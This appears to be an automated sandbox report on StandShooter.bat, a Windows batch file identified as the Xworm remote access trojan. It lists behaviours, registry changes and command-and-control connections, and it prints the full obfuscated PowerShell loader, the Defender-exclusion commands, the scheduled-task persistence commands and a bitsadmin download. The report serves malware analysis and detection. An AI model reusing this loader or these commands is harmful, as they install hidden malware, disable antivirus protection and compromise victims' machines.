Analysis Overview
SHA256
dc4ad7f04bd7f277494092d4db0c337b1b4bbe5d0bc8a667babf5f3045144416
Threat Level: Known bad
The file StandShooter.bat was found to be: Known bad.
Malicious Activity Summary
Detect Xworm Payload
Xworm
Command and Scripting Interpreter: PowerShell
Drops startup file
Executes dropped EXE
Looks up external IP address via web service
Adds Run key to start application
Drops file in System32 directory
Enumerates physical storage devices
Download via BitsAdmin
Suspicious use of AdjustPrivilegeToken
Uses Task Scheduler COM API
Suspicious behavior: EnumeratesProcesses
Modifies data under HKEY_USERS
Suspicious behavior: AddClipboardFormatListener
Suspicious use of WriteProcessMemory
Creates scheduled task(s)
Modifies registry class
Suspicious behavior: GetForegroundWindowSpam
Suspicious use of SetWindowsHookEx
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-01 02:22
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-01 02:22
Reported
2024-06-01 02:24
Platform
win11-20240508-en
Max time kernel
90s
Max time network
90s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Xworm
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Stand.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Windows\CurrentVersion\Run\Stand = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Stand.exe" | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\Tasks\Stand | C:\Windows\system32\svchost.exe | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\ci.dll,-101 = "Enclave" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\fveui.dll,-844 = "BitLocker Data Recovery Agent" | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust" | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)" | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update" | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\fveui.dll,-843 = "BitLocker Drive Encryption" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\system32\svchost.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU\PCT = "133616821810434133" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU\PTT = "133616822420475821" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1 | C:\Windows\system32\svchost.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\StandShooter.bat"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tNg4KoCSielf7qjlYXqAO7JKxI943sat8z2fd+W+bvE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pCU0X49GzoVy33W1yhXDAg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $bRFqs=New-Object System.IO.MemoryStream(,$param_var); $HEgAc=New-Object System.IO.MemoryStream; $MSyPu=New-Object System.IO.Compression.GZipStream($bRFqs, [IO.Compression.CompressionMode]::Decompress); $MSyPu.CopyTo($HEgAc); $MSyPu.Dispose(); $bRFqs.Dispose(); $HEgAc.Dispose(); $HEgAc.ToArray();}function execute_function($param_var,$param2_var){ $DDEgm=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fglmO=$DDEgm.EntryPoint; $fglmO.Invoke($null, $param2_var);}$fVuCm = 'C:\Users\Admin\AppData\Local\Temp\StandShooter.bat';$host.UI.RawUI.WindowTitle = $fVuCm;$EZbPl=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($fVuCm).Split([Environment]::NewLine);foreach ($MKKIe in $EZbPl) { if ($MKKIe.StartsWith('ZLMHHVVTjNWeBRfMcCXh')) { $saOcJ=$MKKIe.Substring(20); break; }}$payloads_var=[string[]]$saOcJ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_313_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_313.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_313.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_313.bat" "
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tNg4KoCSielf7qjlYXqAO7JKxI943sat8z2fd+W+bvE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pCU0X49GzoVy33W1yhXDAg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $bRFqs=New-Object System.IO.MemoryStream(,$param_var); $HEgAc=New-Object System.IO.MemoryStream; $MSyPu=New-Object System.IO.Compression.GZipStream($bRFqs, [IO.Compression.CompressionMode]::Decompress); $MSyPu.CopyTo($HEgAc); $MSyPu.Dispose(); $bRFqs.Dispose(); $HEgAc.Dispose(); $HEgAc.ToArray();}function execute_function($param_var,$param2_var){ $DDEgm=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fglmO=$DDEgm.EntryPoint; $fglmO.Invoke($null, $param2_var);}$fVuCm = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_313.bat';$host.UI.RawUI.WindowTitle = $fVuCm;$EZbPl=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($fVuCm).Split([Environment]::NewLine);foreach ($MKKIe in $EZbPl) { if ($MKKIe.StartsWith('ZLMHHVVTjNWeBRfMcCXh')) { $saOcJ=$MKKIe.Substring(20); break; }}$payloads_var=[string[]]$saOcJ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe
"C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.Launchpad.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Stand.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.exe'
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Stand" /tr "C:\Users\Admin\AppData\Local\Temp\Stand.exe"
C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe
"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"
C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 185.199.111.133:443 | objects.githubusercontent.com | tcp |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| US | 8.8.8.8:53 | 82.90.14.23.in-addr.arpa | udp |
| US | 104.21.48.235:443 | stand.gg | tcp |
| US | 104.21.48.235:443 | stand.gg | tcp |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| N/A | 127.0.0.1:57023 | tcp | |
| N/A | 127.0.0.1:57023 | tcp | |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
| N/A | 127.0.0.1:57023 | tcp | |
| N/A | 52.111.227.13:443 | tcp |
Files
memory/1044-0-0x00007FFA49283000-0x00007FFA49285000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l4t1wwrk.52b.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1044-9-0x000001F1A7500000-0x000001F1A7522000-memory.dmp
memory/1044-10-0x00007FFA49280000-0x00007FFA49D42000-memory.dmp
memory/1044-11-0x00007FFA49280000-0x00007FFA49D42000-memory.dmp
memory/1044-12-0x00007FFA49280000-0x00007FFA49D42000-memory.dmp
memory/1044-13-0x000001F1A7930000-0x000001F1A7976000-memory.dmp
memory/1044-14-0x000001F1A74F0000-0x000001F1A74F8000-memory.dmp
memory/1044-15-0x000001F1A7980000-0x000001F1A79E2000-memory.dmp
memory/876-25-0x00007FFA49280000-0x00007FFA49D42000-memory.dmp
memory/876-26-0x00007FFA49280000-0x00007FFA49D42000-memory.dmp
memory/876-27-0x00007FFA49280000-0x00007FFA49D42000-memory.dmp
